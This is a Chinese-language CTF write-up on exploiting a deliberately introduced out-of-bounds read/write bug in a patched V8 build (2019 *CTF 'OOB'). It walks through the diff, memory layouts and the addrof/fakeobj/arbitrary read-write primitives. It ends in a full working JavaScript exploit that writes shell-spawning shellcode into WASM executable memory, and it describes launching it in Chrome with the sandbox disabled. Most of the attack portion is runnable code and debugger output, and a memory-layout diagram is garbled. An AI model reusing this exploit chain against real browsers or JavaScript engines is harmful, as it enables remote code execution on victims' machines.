2019 *CTF Pwn OOB

怎么有人三月份入了个坑然后就没学了啊. 最近某比赛有个 Webkit, 抄了个 exp 改改出了, 信心找回来了, 这就开始学 v8.

这题是 19 年的了, 切换到当时的 branch 安装依赖时提示最高支持到 Ubuntu 18. 于是丢 docker 里装了一下.

这题不能编译 debug 版本, 因为漏洞是数组越界, debug 版本有运行时 check.

1
2
3
4
5
6
7
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
./tools/dev/gm.py x64.release

编译好的文件在 ./out/x64.release. 在本机运行调试, 需要 patchelf 一下 libc 以及其他需要的 lib 库.

然而实验时发现 patch 了以后 gdb 就崩掉了. 于是在 docker 里起了个 gdbserver 调.

而且这题的版本貌似还没有指针压缩啥的, 只有一个指针标记. SMI 在高 4 字节, 低 4 字节是 0. double 直接存的数字.

就一个 diff:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

可以参考其他熟悉的东西, 来猜测 patch 添加的功能是什么. 如 InitializeGlobal 中用 SimpleInstallFunction install 了名为 fill, find, findIndex 等的 function, 这显然是 JS 对象的内置函数. 那么可以猜测这里就是添加了一个内置函数 oob. 函数具体功能肯定就是下面的一串代码了. 再之后可能就是一些声明和定义.

在分析之前, 需要知道的是 JS 内置函数的参数实际上还要加上调用者自己 (和 python 的 self 差不多), 放在第一个位置, 称为 receiver.

首先 args 是函数的参数, 它的类型为 BuiltinArguments. 参数可以用 at(int index) 来取, 其中 index 如果为 0 取的是 receiver, 所以从 1 开始才是我们在 JS 中写的参数. 取 receiver 有另一个函数叫 receiver(). length() 取参数的个数, 包括 receiver 在内.

先来看前面一部分:

1
2
3
4
5
6
7
8
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());

先判断参数个数, 如果大于两个则什么也不做, 返回 undefined. 然后取出 receiver, 转换为 JSArray 类型, 并取出其中的 elements (编号属性, 元素), 并取出元素个数 length.

接下来根据参数个数来执行不同的功能.

1
2
3
4
    if(len == 1){
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }

get_scalar(index)) 函数是取 elements 的下标为 index 位置的值. 如果参数个数是 1, 即只有 reciver, 那么就会返回 elements[length] 的值. 这里存在越界读.

1
2
3
4
5
6
7
8
    else{
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }

当参数个数为 2, 则设置 elements 的 length 位置的值为传入的数. 这里存在越界写.

可以写一段 JS 试一试, 比如

1
2
3
array = []
array.oob()  // read
array.oob(1) // write

首先来调试分析一下内存布局, 看看能够溢出或者修改什么东西.

调试一下可以发现, 当创建一个全局浮点数数组时, 内存布局为 elements 后紧挨着该数组的 JSObject:

d8> a = [1.1, 2.2, 3.3, 4.4]
[1.1, 2.2, 3.3, 4.4]
d8> %DebugPrint(a)
0x12eced1507a9: [JSArray]
 - map: 0x018ec8142ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x20e48e311111 <JSArray[0]>
 - elements: 0x12eced150779 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x17c9c5ec0c71 <FixedArray[0]> {
    #length: 0x105fb58801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x12eced150779 <FixedDoubleArray[4]> {
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4.4
 }
pwndbg> telescope 0x12eced150778
00:0000│  0x12eced150778 —▸ 0x17c9c5ec14f9 ◂— 0x17c9c5ec01
01:0008│  0x12eced150780 ◂— 0x400000000
02:0010│  0x12eced150788 ◂— 0x3ff199999999999a
03:0018│  0x12eced150790 ◂— 0x400199999999999a
04:0020│  0x12eced150798 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│  0x12eced1507a0 ◂— 0x401199999999999a
06:0030│  0x12eced1507a8 —▸ 0x18ec8142ed9 ◂— 0x4000017c9c5ec01
07:0038│  0x12eced1507b0 —▸ 0x17c9c5ec0c71 ◂— 0x17c9c5ec08

当创建一个全局 Object 数组时, 内存布局为 elements 后紧挨着该数组的 JSObject, 内存和上面差不多.

不过需要把 Object 数组中的元素先声明:

1
2
var obj_elem = {};
var obj_array = [obj_elem];

如果写成 obj_array = [{}] 就不是这个布局了. 调试时还发现必须得在函数外声明或定义全局变量.

可以先用 oob 读出 Map(PACKED_DOUBLE_ELEMENTS) 和 Map(PACKED_ELEMENTS) 的地址, 便于之后的利用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* type convert */
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUnit64 = new BigUint64Array(buffer);
// convert 64bits float to unsigned int
function f2i(x) { float64[0] = x; return bigUnit64[0]; }
// convert unsigned int to 64bits
function i2f(x) { bigUnit64[0] = x; return float64[0]; }
// convert int to hex
function hex(x) { return "0x" + x.toString(16); }
// convert float to hex
function f2h(x) { return hex(f2i(x)); }
// convert float to addr
function f2a(x) { return f2i(x) >> 2n << 2n; }
// convert addr to float
function a2f(x) { return i2f(x | 1n); }

var float_array = [13.37];
print("float_array: ");
%DebugPrint(float_array);
var map_packed_double_ele_1 = f2a(float_array.oob());
print("leak double map: " + hex(map_packed_double_ele_1));

var obj_elem = {};
var obj_array = [obj_elem];
print("obj_array: ");
%DebugPrint(obj_array);
var map_packed_ele_1 = f2a(obj_array.oob());
print("leak object map: " + hex(map_packed_ele_1));

根据调试, 我们有能力读取或者复写 Map 地址. 而 Map 决定了结构和元素类型, 如果可以将 Object Array 的 ELEMENTS Map 写为 DOUBLE_ELEMENTS Map, 便可以将 elements 中保存的 object 地址以 double 的方式打印出来. 于是可以写出 addrof, 用于获得 object 的地址:

1
2
3
4
5
6
7
function addrof(obj) {
  obj_array[0] = obj;
  obj_array.oob(a2f(map_packed_double_ele_1));
  let addr = f2a(obj_array[0]);
  obj_array.oob(a2f(map_packed_ele_1));
  return addr;
}

类似地, 还可以构造 fakeobj 原语, 用于在某地址处伪造一个 object:

1
2
3
4
5
6
7
function fakeobj(addr) {
  float_array[0] = a2f(addr);
  float_array.oob(a2f(map_packed_ele_1));
  let obj = float_array[0];
  float_array.oob(a2f(map_packed_double_ele_1));
  return obj;
}

之后可以利用泄漏的地址, 找到 elements 地址, 并在 elements 中构造一个 fake object, 就能够任意读写了. 具体构造如下:

c o n t a i n e c r o n - t a 0 i x n 2 e 0 r E E l l P e e r E m m o l l e e M p e e n n a e m n t t p r e g s s t n t i t h M l e s a e s p n f a k e o b j P r E o l l M p e e a e m n p r e g t n t i t h e s s f a k e o b d d j u u e m m c m m t y y v E E a l l l e e u e M l a e p n t t a a r r g g e e t t - a d 0 d x r 1 0

read64 和 write64 原语:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
var container = [a2f(map_packed_double_ele_1), 2.2, 3.3, i2f(0x100000000n)];
print("container: ");
%DebugPrint(container);

var container_addr = addrof(container);
var fake_obj_addr = container_addr - 0x20n;
var fake_obj = fakeobj(fake_obj_addr);

function read64(addr) {
  container[2] = a2f(addr - 0x10n);
  return f2i(fake_obj[0]);
}

function write64(addr, value) {
  container[2] = a2f(addr - 0x10n);
  fake_obj[0] = i2f(value);
}

利用大致分两个思路, 一个是泄漏 d8 的地址造成 “逃逸”, 然后去和普通程序一样打, 比如劫持 hook 等. 另一种是利用 WASM 执行机器码的能力, 将机器码复写为恶意 shellcode.

目前在 JS 中执行 WASM 只有非常原始的接口, 需要将 WASM 字节码加载到内存中, 然后调用 WebAssembly.Module 接口进行编译, 再生成实例, 最后运行代码.

1
2
3
4
5
var wasm_code = new Uint8Array([/* WASM bytecode array */]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var trigger = wasm_instance.exports.main;
trigger();

有一个非常好用的网站可以直接生成 C 语言对应的 WASM 字节码: WasmFiddle

之后调试查看 wasm_instance 附近内存, 可以找到代码地址, 在 0x88 处:

0x34fc49361709: [WasmInstanceObject] in OldSpace
 - map: 0x318fcc149789 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3222ce4cac19 <Object map = 0x318fcc14abd9>
 - elements: 0x1af8f74c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x3222ce4cfac9 <Module map = 0x318fcc1491e9>
 - exports_object: 0x3222ce4cfd01 <Object map = 0x318fcc14ad19>
 - native_context: 0x34fc49341869 <NativeContext[246]>
 - memory_object: 0x34fc49361831 <Memory map = 0x318fcc14a189>
 - table 0: 0x3222ce4cfc99 <Table map = 0x318fcc149aa9>
 - imported_function_refs: 0x1af8f74c0c71 <FixedArray[0]>
 - managed_native_allocations: 0x3222ce4cfc41 <Foreign>
 - memory_start: 0x7f3efd180000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x5645d967cdf0
 - globals_start: (nil)
 - imported_mutable_globals: 0x5645d967ce10
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x1af8f74c0c71 <FixedArray[0]> {}
pwndbg> telescope 0x34fc49361708
00:0000│  0x34fc49361708 —▸ 0x318fcc149789 ◂— 0x2500001af8f74c01
01:0008│  0x34fc49361710 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
02:0010│  0x34fc49361718 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
03:0018│  0x34fc49361720 —▸ 0x7f3efd180000 ◂— 0x0
04:0020│  0x34fc49361728 ◂— 0x10000
05:0028│  0x34fc49361730 ◂— 0xffff
06:0030│  0x34fc49361738 —▸ 0x5645d95f73c8 —▸ 0x7ffe0f36c5f0 ◂— 0x7ffe0f36c5f0
07:0038│  0x34fc49361740 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
08:0040│  0x34fc49361748 —▸ 0x5645d967cdf0 ◂— 0x0
09:0048│  0x34fc49361750 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
0a:0050│  0x34fc49361758 ◂— 0x0
... ↓     3 skipped
0e:0070│  0x34fc49361778 —▸ 0x5645d967ce10 ◂— 0x0
0f:0078│  0x34fc49361780 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
10:0080│  0x34fc49361788 —▸ 0x5645d95ed700 —▸ 0x1af8f74c0751 ◂— 0xd200001af8f74c07
11:0088│  0x34fc49361790 —▸ 0x1a25830bd000 ◂— movabs r10, 0x1a25830bd260 /* 0x1a25830bd260ba49 */
12:0090│  0x34fc49361798 —▸ 0x3222ce4cfac9 ◂— 0x710000318fcc1491
13:0098│  0x34fc493617a0 —▸ 0x3222ce4cfd01 ◂— 0x710000318fcc14ad
14:00a0│  0x34fc493617a8 —▸ 0x34fc49341869 ◂— 0x1af8f74c0f
15:00a8│  0x34fc493617b0 —▸ 0x34fc49361831 ◂— 0x710000318fcc14a1
16:00b0│  0x34fc493617b8 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
17:00b8│  0x34fc493617c0 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05

于是我们只需要泄漏一下地址, 然后写入 shellcode 即可.

不过测试时发现写入挂在了 v8::internal::FixedArrayBase::IsCowArray() 函数上, 因为 fake obj 的 elements 地址低 20 位被置零了, 而该地址上方没有映射, 导致后续代码访问到了这里, 所以段错误了.

pwndbg> 7/10i 0x560c54c66d20
   0x560c54c66d20 <v8::internal::FixedArrayBase::IsCowArray() const>:           mov    rax,QWORD PTR [rdi]
   0x560c54c66d23 <v8::internal::FixedArrayBase::IsCowArray() const+3>:         mov    rcx,QWORD PTR [rax-0x1]
   0x560c54c66d27 <v8::internal::FixedArrayBase::IsCowArray() const+7>:         and    rax,0xfffffffffffc0000
=> 0x560c54c66d2d <v8::internal::FixedArrayBase::IsCowArray() const+13>:        mov    rax,QWORD PTR [rax+0x30]
   0x560c54c66d31 <v8::internal::FixedArrayBase::IsCowArray() const+17>:        cmp    rcx,QWORD PTR [rax-0x8fe0]
   0x560c54c66d38 <v8::internal::FixedArrayBase::IsCowArray() const+24>:        sete   al
   0x560c54c66d3b <v8::internal::FixedArrayBase::IsCowArray() const+27>:        ret
pwndbg> regs rdi rax
*RDI  0x7ffc8901e200 —▸ 0x38699c454251 ◂— int3  /* 0xcccccccccccccccc */
*RAX  0x38699c440000
*EFLAGS 0x10206 [ cf PF af zf sf IF df of ]

解决方法有两种, 最简单的是先往能写的位置写一下, 这篇博客 有分析 (不过我没看懂). 另一种是用 DataView 写. 见 从一道CTF题零基础学V8漏洞利用. 这里就直接用先写一下的方法. 完整 exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/* type convert */
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUnit64 = new BigUint64Array(buffer);
// convert 64bits float to unsigned int
function f2i(x) { float64[0] = x; return bigUnit64[0]; }
// convert unsigned int to 64bits
function i2f(x) { bigUnit64[0] = x; return float64[0]; }
// convert int to hex
function hex(x) { return "0x" + x.toString(16); }
// convert float to hex
function f2h(x) { return hex(f2i(x)); }
// convert float to addr
function f2a(x) { return f2i(x) >> 2n << 2n; }
// convert addr to float
function a2f(x) { return i2f(x | 1n); }

var float_array = [13.37];
print("float_array: ");
%DebugPrint(float_array);
var map_packed_double_ele_1 = f2a(float_array.oob());
print("leak double map: " + hex(map_packed_double_ele_1));

var obj_elem = {};
var obj_array = [obj_elem];
print("obj_array: ");
%DebugPrint(obj_array);
var map_packed_ele_1 = f2a(obj_array.oob());
print("leak object map: " + hex(map_packed_ele_1));

function addrof(obj) {
  obj_array[0] = obj;
  obj_array.oob(a2f(map_packed_double_ele_1));
  let addr = f2a(obj_array[0]);
  obj_array.oob(a2f(map_packed_ele_1));
  return addr;
}

function fakeobj(addr) {
  float_array[0] = a2f(addr);
  float_array.oob(a2f(map_packed_ele_1));
  let obj = float_array[0];
  float_array.oob(a2f(map_packed_double_ele_1));
  return obj;
}

var container = [a2f(map_packed_double_ele_1), 2.2, 3.3, i2f(0x100000000n)];
print("container: ");
%DebugPrint(container);

var container_addr = addrof(container);
var fake_obj_addr = container_addr - 0x20n;
var fake_obj = fakeobj(fake_obj_addr);

function read64(addr) {
  container[2] = a2f(addr - 0x10n);
  return f2i(fake_obj[0]);
}

function write64(addr, value) {
  container[2] = a2f(addr - 0x10n);
  fake_obj[0] = i2f(value);
}

var tmp = [12.34];
var addr = addrof(tmp);
write64(addr - 0x8n, 0xdeadbeefn);
print(tmp[0]);

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
print("wasm_instance: ")
%DebugPrint(wasm_instance);
var func = wasm_instance.exports.main;

var shellcode_addr = read64(addrof(wasm_instance) + 0x88n) + 0x260n;
print("shellcode addr: " + hex(shellcode_addr));

function write_array64(addr, values) {
  for (let i = 0; i < values.length; i++, addr += 0x8n)
    write64(addr, values[i]);
}

shellcode = new BigUint64Array([
  0x6e69622fb848686an,
  0xe7894850732f2f2fn,
  0x2434810101697268n,
  0x6a56f63101010101n,
  0x894856e601485e08n,
  0x50f583b6ad231e6n,
])

write_array64(shellcode_addr, shellcode);

func();

d8 执行这个脚本, 就可以 get shell 了.

弹计算器!

据说该题不需要绕过沙箱, 用 ./Chrome --no-sandbox 启动浏览器.

写一个 html, 加载 exp.js, 需要把调试信息删掉, 并且 shellcode 写为 execve("/usr/bin/xcalc", NULL, ["DISPLAY=:0"])

execve("/usr/bin/xcalc", NULL, ["DISPLAY=:0"])
execve("/usr/bin/xcalc", NULL, [“DISPLAY=:0”])